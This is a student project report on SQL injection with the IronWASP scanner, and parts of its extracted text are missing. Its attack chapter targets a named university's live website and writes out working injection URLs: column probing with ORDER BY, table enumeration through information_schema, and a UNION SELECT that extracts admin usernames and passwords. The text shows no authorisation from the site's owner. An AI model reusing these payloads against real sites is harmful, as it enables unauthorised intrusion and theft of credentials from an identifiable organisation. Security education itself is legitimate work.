SQL Injection - Project Report
SQL Injection - Project Report
IRONWASP
Class Teacher
Sir Waqar Ahmed
PAF KIET
Submitted by
Muhammad BurhanShafaat
54596
PREFACE
It gives me a sense of satisfaction and pleasure at the same time while writing the
preface for the IRONWASPproject report. It took several weeks of immense hard work and
tiredness to complete this project.
My intention has been to produce a report which covers completely all the aspects of
this project. Therefore, I have presented the project report in a way which is accessible to
everyone.
As use of the computers in industry, commerce, education and many other fields of
life have become very common; the question of information and system security arises.
Avoiding attacks on information and network wouldnt be that easy. It requires a lot of effort
to avoid these attacks. This report discusses SQL injection vulnerability identification and
attacking.
A thorough study has been carried out of the topic. All the material has been collected
in relevance with the SQL injection vulnerability. This report is carefully designed to offer
information appropriate for SQL Injection vulnerability. All the topics are comprehensively
dealt with to give reader a firm grounding in the issue. Explanations of concepts and
principles are concise and written in clear and simple language with supportive illustrations
where required. Different diagrams are provided to make this report even more logical and
understandable for the reader.
Muhammad Burhan
ii
ACKNOWLEDGMENT
First of all, I thank Almighty Allah who praised me with the ability to think, work and
deliver what I was assigned to do. Without His mercy it was not possible at all.
Secondly, I am grateful to my teacher Mr. Waqar Ahmed who was always there to
guide me and sort out my problems. I also acknowledge my all teachers, who throughout my
studies help me and guide me, departmental staff, and university staff.
I then wish to show appreciation to all those individuals who have helped me in any
way, in the making of this project
Muhammad Burhan
iii
TABLE OF CONTENTS
PREFACE
ii
ACKNOWLEDGEMENTS
iii
TABLE OF CONTENTS
iv
Chapter 1
INTRODUCTION
01
Objective
Theoretical Background
Project Scope
01
01
02
IRONWASP
03
03
04
LAUNCHING ATTACK
05
05
05
07
CONCLUSION
11
Conclusion
11
1.1
1.2
1.3
Chapter 2
2.1
2.2
Chapter 3
3.1
3.2
3.3
Chapter 4
4.1
Appendix A
A.1
REFERENCES
WEB References
12
12
iv
INTRODUCTION
1
Introduction
This chapter gives a brief introduction to the project. It provides the objective,
1.1
Objective
The aim of my project is to attack on a website using IRONWASP for SQL Injection
vulnerability detection and also attack on effected website using SQL Injection.
1.2
Theoretical Background
What is SQL injection?
SQL injection is a code injection technique, used to attack data-driven
applications, in which malicious SQL statements are inserted into an entry field for
execution (e.g. to dump the database contents to the attacker).
What is IronWASP?
1.3
Project Scope
1- To understand and demonstrate the working of Iron Wasp.
2- Identify vulnerability using Iron Wasp.
3- Perform attack using SQL Injection.
vi
CHAPTER 2
IRONWASP
2
Iron WASP
This chapter gives you introduction to Iron WASP. It provides introduction and
2.1
vii
2.2
viii
CHAPTER 3
LAUNCHING ATTACK
2
Launching Attack
This chapter gives you idea how to launch attack? It provides details regarding the
2.1
2.2
Target
My target is The Laureate Business School (website: http://www.thelaureate.edu.pk)
ix
The university offers several under graduate programs (BS, BSc, BBA, etc) as well as
graduate programs (MBA, etc). Figure 3 shows that SQL injection detected on the university
website (i.e. http://www.thelaureate.edu.pk).
2.3
Start Attack
Step 1: Use order by clause to find the number columns in table.
Use order by clause and increase column number 1, 2, 3 n till you get error.
For Example:
x
http://www.thelaureate.edu.pk/contents.php?id=10+order+by+1
http://www.thelaureate.edu.pk/contents.php?id=10+order+by+2
http://www.thelaureate.edu.pk/contents.php?id=10+order+by+3
:
:
http://www.thelaureate.edu.pk/contents.php?id=10+order+by+7
Figure 4 show that on 7th column we find following error as shown in figure 4 which
means that we have only 6 columns in table which is displaying data.
xi
http://www.thelaureate.edu.pk/contents.php?id=10+union+select+1,2,3,group_concat(table_n
ame)+,5,6+from+information_schema.tables+where+table_schema=database()+order+by+1
The above link displayed few tables belongs the current schema:
admin,e-news, email_group, email_management, image_gallery, images_listing, navigation,
navigation_bk, news_and_events, notice_board and pages.
http://www.thelaureate.edu.pk/contents.php?id=10+union+select+1,2,+username+,+password
+,5,6+from+admin+order+by+1
Chapter 3
CONCLUSION
3
Conclusion
As you have seen that I demonstrate the SQL injection technique. So we can insert,
update and delete any data and as well as database objects (like tables, views etc) using SQL
injection.
Therefore the desktop and web applications should be build on standards to avoid
attacks. Now-a-days there are several software products available which show the availability
of vulnerability in web and desktop applications.
xiii
APPENDIX A
WEB REFERENCES
Web References
[1]
http://www.thelaureate.edu.pk
(Target Website)
[2]
xiv